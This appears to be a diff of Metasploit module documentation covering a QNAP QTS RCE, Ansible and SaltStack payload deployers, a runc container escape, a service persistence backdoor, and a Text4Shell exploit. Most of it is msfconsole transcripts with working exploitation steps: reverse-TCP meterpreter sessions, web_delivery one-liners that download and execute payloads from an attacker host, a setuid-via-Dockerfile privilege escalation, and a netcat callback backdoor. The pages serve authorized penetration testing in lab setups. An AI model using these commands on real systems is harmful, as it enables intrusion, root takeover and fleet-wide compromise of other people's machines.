Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.16.199.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp
|
||||
loit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
|
||||
, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME mvcWDkBxSOK no Name to use on remote system when storing payload; cannot
|
||||
contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8085 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /mnt/update yes Remote writable dir to store payload; cannot contain space
|
||||
s.
|
||||
LHOST 172.16.199.158 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.158:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Sending stage (3045380 bytes) to 172.16.199.130
|
||||
[+] Deleted /mnt/update/RjzvVkLp
|
||||
[+] Deleted /mnt/update/"$($(echo -n YmFzaCAvbW50L3VwZGF0ZS9Sanp2VmtMcA==|base64 -d))"
|
||||
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.16.199.130:40004) at 2024-02-15 12:20:04 -0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: admin
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.199.130
|
||||
OS : (Linux 6.2.0-35-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,189 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit module creates an ansible module for deployment to nodes in the network.
|
||||
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
|
||||
targets which have been selected (default all).
|
||||
|
||||
### Docker-compose Install
|
||||
|
||||
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
|
||||
|
||||
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
|
||||
|
||||
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial shell on the box
|
||||
1. Do: `use exploit/linux/local/ansible_node_deployer`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should get sessions on all the targeted hosts
|
||||
|
||||
## Options
|
||||
|
||||
### ANSIBLEPLAYBOOK
|
||||
|
||||
Location of ansible executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/usr/local/bin/ansible`. Defaults to ``
|
||||
|
||||
### WritableDir
|
||||
|
||||
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
|
||||
|
||||
### TargetWritableDir
|
||||
|
||||
A directory on the target hosts we can write our payload to. Defaults to `/tmp`
|
||||
|
||||
### CALCULATE
|
||||
|
||||
This will calculate how many hosts may be exploitable by using Ansible's ping command.
|
||||
|
||||
### HOSTS
|
||||
|
||||
Which Ansible host (groups) to target. Defaults to `all`
|
||||
|
||||
### ListenerTimeout
|
||||
|
||||
How many seconds to wait after executing the payload for hosts to call back.
|
||||
If set to `0`, wait forever. Defaults to `60`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker compose as mentioned above
|
||||
|
||||
Get initial access to the system
|
||||
|
||||
```
|
||||
resource (ansible_deploy.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (ansible_deploy.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ansible_deploy.rb)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (ansible_deploy.rb)> set target 7
|
||||
target => 7
|
||||
resource (ansible_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (ansible_deploy.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8181/2BQIMgeywC6gGt9
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO OHZQobFE --no-check-certificate http://1.1.1.1:8181/2BQIMgeywC6gGt9; chmod +x OHZQobFE; ./OHZQobFE& disown
|
||||
[*] 172.22.0.7 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.7
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.22.0.7:49612) at 2023-12-15 20:12:27 -0500
|
||||
```
|
||||
|
||||
```
|
||||
resource (ansible_deploy.rb)> use exploit/linux/local/ansible_node_deployer
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
resource (ansible_deploy.rb)> set session 1
|
||||
session => 1
|
||||
resource (ansible_deploy.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ansible_deploy.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ansible_deploy.rb)> set lport 9999
|
||||
lport => 9999
|
||||
[*] Starting persistent handler(s)...
|
||||
[msf](Jobs:1 Agents:0) exploit(linux/local/ansible_node_deployer) >
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > set TargetWritableDir /etc/
|
||||
TargetWritableDir => /etc/
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > exploit
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/local/ansible_node_deployer) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:9999
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] /tmp is writable, and ansible executable found
|
||||
[+] The target is vulnerable.
|
||||
[+] Stored pings to: /root/.msf4/loot/20231215201340_default_172.22.0.7_ansible.ping_422232.txt
|
||||
[+] Ansible Pings
|
||||
=============
|
||||
|
||||
Host Status Ping Changed
|
||||
---- ------ ---- -------
|
||||
alpine-example-com SUCCESS pong false
|
||||
alpinesystemd-example-com SUCCESS pong false
|
||||
centos7-example-com SUCCESS pong false
|
||||
rhel8-example-com SUCCESS pong false
|
||||
|
||||
[+] 4 ansible hosts were pingable, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
|
||||
[*] Creating yaml job to execute
|
||||
[*] Writing payload
|
||||
[*] Writing '/tmp/O514h2N' (250 bytes) ...
|
||||
[*] Executing ansible job
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.6
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.4
|
||||
[+] Stored run logs to: /root/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.5
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:9999 -> 172.22.0.6:60850) at 2023-12-15 20:14:36 -0500
|
||||
[*] Meterpreter session 5 opened (1.1.1.1:9999 -> 172.22.0.2:34980) at 2023-12-15 20:14:36 -0500
|
||||
[*] Meterpreter session 3 opened (1.1.1.1:9999 -> 172.22.0.4:51082) at 2023-12-15 20:14:46 -0500
|
||||
[*] Meterpreter session 4 opened (1.1.1.1:9999 -> 172.22.0.5:41770) at 2023-12-15 20:14:56 -0500
|
||||
|
||||
[msf](Jobs:2 Agents:5) exploit(linux/local/ansible_node_deployer) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x64/linux root @ 172.22.0.7 1.1.1.1:4444 -> 172.22.0.7:49612 (172.22.0.7)
|
||||
2 meterpreter x64/linux root @ 172.22.0.6 1.1.1.1:9999 -> 172.22.0.6:60850 (172.22.0.6)
|
||||
3 meterpreter x64/linux root @ 172.22.0.4 1.1.1.1:9999 -> 172.22.0.4:51082 (172.22.0.4)
|
||||
4 meterpreter x64/linux root @ 172.22.0.5 1.1.1.1:9999 -> 172.22.0.5:41770 (172.22.0.5)
|
||||
5 meterpreter x64/linux root @ 172.22.0.2 1.1.1.1:9999 -> 172.22.0.2:34980 (172.22.0.7)
|
||||
```
|
||||
|
||||
```
|
||||
└─$ cat ~/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
|
||||
|
||||
PLAY [Deliver Meterpreter] *****************************************************
|
||||
|
||||
TASK [Gathering Facts] *********************************************************
|
||||
[DEPRECATION WARNING]: Distribution redhat 8.2 on host rhel8-example-com should
|
||||
use /usr/libexec/platform-python, but is using /usr/bin/python for backward
|
||||
compatibility with prior Ansible releases. A future Ansible release will
|
||||
default to using the discovered platform python for this host. See https://docs
|
||||
.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for
|
||||
more information. This feature will be removed in version 2.12. Deprecation
|
||||
warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
|
||||
ok: [rhel8-example-com]
|
||||
ok: [centos7-example-com]
|
||||
[WARNING]: Platform linux on host alpine-example-com is using the discovered
|
||||
Python interpreter at /usr/bin/python, but future installation of another
|
||||
Python interpreter could change this. See https://docs.ansible.com/ansible/2.9/
|
||||
reference_appendices/interpreter_discovery.html for more information.
|
||||
ok: [alpine-example-com]
|
||||
[WARNING]: Platform linux on host alpinesystemd-example-com is using the
|
||||
discovered Python interpreter at /usr/bin/python, but future installation of
|
||||
another Python interpreter could change this. See https://docs.ansible.com/ansi
|
||||
ble/2.9/reference_appendices/interpreter_discovery.html for more information.
|
||||
ok: [alpinesystemd-example-com]
|
||||
|
||||
TASK [ansible.builtin.copy] ****************************************************
|
||||
changed: [alpine-example-com]
|
||||
changed: [centos7-example-com]
|
||||
changed: [rhel8-example-com]
|
||||
changed: [alpinesystemd-example-com]
|
||||
|
||||
TASK [ansible.builtin.file] ****************************************************
|
||||
changed: [alpine-example-com]
|
||||
changed: [rhel8-example-com]
|
||||
changed: [centos7-example-com]
|
||||
changed: [alpinesystemd-example-com]
|
||||
|
||||
TASK [command] *****************************************************************
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
## Vulnerable Application
|
||||
|
||||
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
|
||||
and Kubernetes are vulnerable to an arbitrary file write.
|
||||
Due to a file descriptor leak it is possible to mount the host file system
|
||||
with the permissions of runc (typically root).
|
||||
|
||||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial session
|
||||
1. Do: `use exploit/linux/local/runc_cwd_priv_esc`
|
||||
1. Do: `set session [session]`
|
||||
1. Do: `run`
|
||||
1. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
## DOCKERIMAGE
|
||||
|
||||
A docker image to use, docker image must have linux commands
|
||||
available (`scratch` won't work). Defaults to `alpine:latest`
|
||||
|
||||
## FILEDESCRIPTOR
|
||||
|
||||
The file descriptor to use, typically `7` or `8`. Defaults to `8`
|
||||
|
||||
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
|
||||
|
||||
Get an initial shell
|
||||
|
||||
```
|
||||
user@userubuntu22:~/metasploit-framework$ ./msfconsole -qr runc.rb
|
||||
[*] Processing runc.rb for ERB directives.
|
||||
resource (runc.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (runc.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (runc.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/v5IbTIj', context=ssl._create_unverified_context());exec(r.read());"
|
||||
[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes)
|
||||
[*] Sending stage (24768 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000
|
||||
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: user
|
||||
meterpreter > sysinfo
|
||||
Computer : userubuntu22
|
||||
OS : Linux 5.19.0-43-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 22 13:39:36 UTC 2
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Priv Esc
|
||||
|
||||
```
|
||||
resource (runc.rb)> use exploit/linux/local/runc_cwd_priv_esc
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
resource (runc.rb)> set lhost 1.1.1.1
|
||||
[*] Using URL: http://1.1.1.1:8080/v5IbTIj
|
||||
lhost => 1.1.1.1
|
||||
resource (runc.rb)> set session 1
|
||||
session => 1
|
||||
resource (runc.rb)> set lport 9876
|
||||
lport => 9876
|
||||
msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/runc_cwd_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:9876
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * incompatible session architecture: python
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1~22.04.1 detected
|
||||
[*] Creating directory /tmp/.HdUvYm3
|
||||
[*] /tmp/.HdUvYm3 created
|
||||
[*] Uploading Payload to /tmp/.HdUvYm3/.OiGEedVKP
|
||||
[*] Uploading Dockerfile to /tmp/.HdUvYm3/Dockerfile
|
||||
[*] Building from Dockerfile to set our payload permissions
|
||||
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
|
||||
[*] Install the buildx component to build images with BuildKit:
|
||||
[*] https://docs.docker.com/go/buildx/
|
||||
[*]
|
||||
[*] Sending build context to Docker daemon 3.072kB
|
||||
[*] Step 1/3 : FROM alpine:latest
|
||||
[*] ---> 05455a08881e
|
||||
[*] Step 2/3 : WORKDIR /proc/self/fd/8
|
||||
[*] ---> Using cache
|
||||
[*] ---> f73c936557f3
|
||||
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 4777 tmp/.HdUvYm3 && chown -R root:root tmp/.HdUvYm3 && chmod u+s tmp/.HdUvYm3/.OiGEedVKP
|
||||
[*] ---> Running in c4afc663c2bc
|
||||
[*] Removing intermediate container c4afc663c2bc
|
||||
[*] ---> b490ec709420
|
||||
[*] Successfully built b490ec709420
|
||||
[*] Executing payload
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 1.1.1.1
|
||||
[+] Deleted /tmp/.HdUvYm3
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000
|
||||
[-] run: Interrupted
|
||||
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,126 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit module uses saltstack salt to deploy a payload and run it
|
||||
on all targets which have been selected (default all).
|
||||
Currently only works against nix targets.
|
||||
|
||||
### Vulnerable Host
|
||||
|
||||
A vulnerable host install can be found in this [Docker environment](https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-11651/docker-compose.yml).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial shell on the box
|
||||
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should get sessions on all the targeted hosts
|
||||
|
||||
## Options
|
||||
|
||||
### SALT
|
||||
|
||||
Location of salt-master executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to ``
|
||||
|
||||
### MINIONS
|
||||
|
||||
Which minions to target. Defaults to `*`
|
||||
|
||||
### WritableDir
|
||||
|
||||
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
|
||||
|
||||
### TargetWritableDir
|
||||
|
||||
A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp`
|
||||
|
||||
### CALCULATE
|
||||
|
||||
This will calculate how many hosts may be exploitable by using Ansible's ping command.
|
||||
|
||||
### ListenerTimeout
|
||||
|
||||
How many seconds to wait after executing the payload for hosts to call back.
|
||||
If set to `0`, wait forever. Defaults to `60`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Minion 3002.2 on Ubuntu 20.04
|
||||
|
||||
Get initial access to the system. In this case, root was required to execute salt commands successfully.
|
||||
|
||||
```
|
||||
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (salt_deploy.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (salt_deploy.rb)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (salt_deploy.rb)> set target 7
|
||||
target => 7
|
||||
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (salt_deploy.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8181/hvy2Ol
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown
|
||||
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 3.3.3.3
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500
|
||||
```
|
||||
|
||||
```
|
||||
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
resource (salt_deploy.rb)> set session 1
|
||||
session => 1
|
||||
resource (salt_deploy.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (salt_deploy.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (salt_deploy.rb)> set lport 9996
|
||||
lport => 9996
|
||||
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) >
|
||||
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:9996
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] /tmp is writable, and salt-master executable found
|
||||
[+] The target is vulnerable.
|
||||
[*] Attempting to list minions
|
||||
[*] minions:
|
||||
- mac_minion
|
||||
- salt-minion
|
||||
- window-salt-minion
|
||||
minions_denied: []
|
||||
minions_pre: []
|
||||
minions_rejected: []
|
||||
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml
|
||||
[+] Minions List
|
||||
============
|
||||
|
||||
Status Minion Name
|
||||
------ -----------
|
||||
Accepted mac_minion
|
||||
Accepted salt-minion
|
||||
Accepted window-salt-minion
|
||||
|
||||
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
|
||||
[*] Writing '/tmp/E76Azw' (336 bytes) ...
|
||||
[*] Copying payload to minions
|
||||
|
||||
[*] Executing payloads
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500
|
||||
```
|
||||
@@ -39,7 +39,7 @@
|
||||
2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
|
||||
3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever.
|
||||
|
||||
**SHELLPATH**
|
||||
**BACKDOOR_PATH**
|
||||
|
||||
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
|
||||
|
||||
@@ -72,15 +72,15 @@ Get initial access
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
|
||||
Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services.
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
|
||||
msf exploit(service_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(service_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(service_persistence) > set SHELLPATH /bin
|
||||
SHELLPATH => /bin
|
||||
msf exploit(service_persistence) > set BACKDOOR_PATH /bin
|
||||
BACKDOOR_PATH => /bin
|
||||
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
|
||||
payload => cmd/unix/reverse_netcat
|
||||
msf exploit(service_persistence) > set lhost 192.168.199.128
|
||||
@@ -260,12 +260,12 @@ Now with a multi handler, we can catch systemd restarting the process every 10se
|
||||
|
||||
Module options (exploit/linux/local/service_persistence):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SERVICE no Name of service to create
|
||||
SESSION -1 yes The session to run this module on.
|
||||
SHELLPATH /tmp yes Writable path to put our shell
|
||||
SHELL_NAME no Name of shell file to write
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BACKDOOR_PATH /tmp yes Writable path to put our shell
|
||||
SERVICE no Name of service to create
|
||||
SESSION yes The session to run this module on
|
||||
SHELL_NAME no Name of shell file to write
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_netcat):
|
||||
|
||||
@@ -0,0 +1,253 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit takes advantage of the StringSubstitutor interpolator class,
|
||||
which is included in the Commons Text library. A default interpolator
|
||||
allows for string lookups that can lead to Remote Code Execution. This
|
||||
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
|
||||
keys interpolated by default, as opposed to what it should be, according
|
||||
to the documentation of the StringLookupFactory class. Those keys allow
|
||||
an attacker to execute arbitrary code via lookups primarily using the
|
||||
"script" key.
|
||||
|
||||
In order to exploit the vulnerabilities, the following requirements must
|
||||
be met:
|
||||
|
||||
Run a version of Apache Commons Text from version 1.5 to 1.9
|
||||
Use the StringSubstitutor interpolator
|
||||
Target should run JDK < 15
|
||||
|
||||
## Setup
|
||||
1. `git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker`
|
||||
1. `cd cve-2022-42889-text4shell-docker`
|
||||
1. `mvn clean install`
|
||||
1. `docker build --tag=text4shell .`
|
||||
1. `docker run -p 80:8080 text4shell`
|
||||
1. Vulnerable application now running at port 8080 on docker image's ip address
|
||||
|
||||
## Verification Steps
|
||||
1. Setup the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use apache_commons_text4shell`
|
||||
1. Do: `set RHOST <docker ip>`
|
||||
1. Do: `set RPORT 8080`
|
||||
1. Do: `set TARGETURI /text4shell/attack`
|
||||
1. Do: `set PARAM search`
|
||||
1. Do: `set LHOST docker0`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### PARAM
|
||||
The parameter vulnerable to the exploit.
|
||||
|
||||
### METHOD
|
||||
The HTTP method to use. Default: `GET`
|
||||
|
||||
### TARGETURI
|
||||
The URI to target. Default: `/`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache Commons Text 1.8 on Alpine Linux v3.9 JDK 8
|
||||
|
||||
Check:
|
||||
```
|
||||
msf6 > use exploit/multi/http/apache_commons_text4shell
|
||||
[*] Using configured payload java/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
|
||||
lhost => 172.17.0.1
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
|
||||
rhost => 172.17.0.2
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
|
||||
rport => 8080
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
|
||||
targeturi => /text4shell/attack
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
|
||||
param => search
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > check
|
||||
|
||||
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.
|
||||
```
|
||||
|
||||
Target: java
|
||||
```
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
|
||||
[*] Sending stage (57692 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Target: Linux Command
|
||||
```
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
|
||||
target => 3
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
|
||||
```
|
||||
|
||||
Target: Linux Dropper
|
||||
```
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
|
||||
[*] Client 172.17.0.2 requested /L8kRU1E8O/
|
||||
[*] Sending payload to 172.17.0.2
|
||||
[*] Sending stage (3045380 bytes) to 172.17.0.2
|
||||
[*] Command Stager progress - 100.00% done (113/113 bytes)
|
||||
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Apache Commons Text 1.8 on Windows 11 home JDK 14.0.2
|
||||
|
||||
Target: Windows EXE Dropper
|
||||
```
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > options
|
||||
|
||||
Module options (exploit/multi/http/apache_commons_text4shell):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
METHOD GET yes The HTTP method to use (Accepted: GET, POST)
|
||||
PARAM search yes The vulnerable parameter
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI text4shell/attack yes The target URI
|
||||
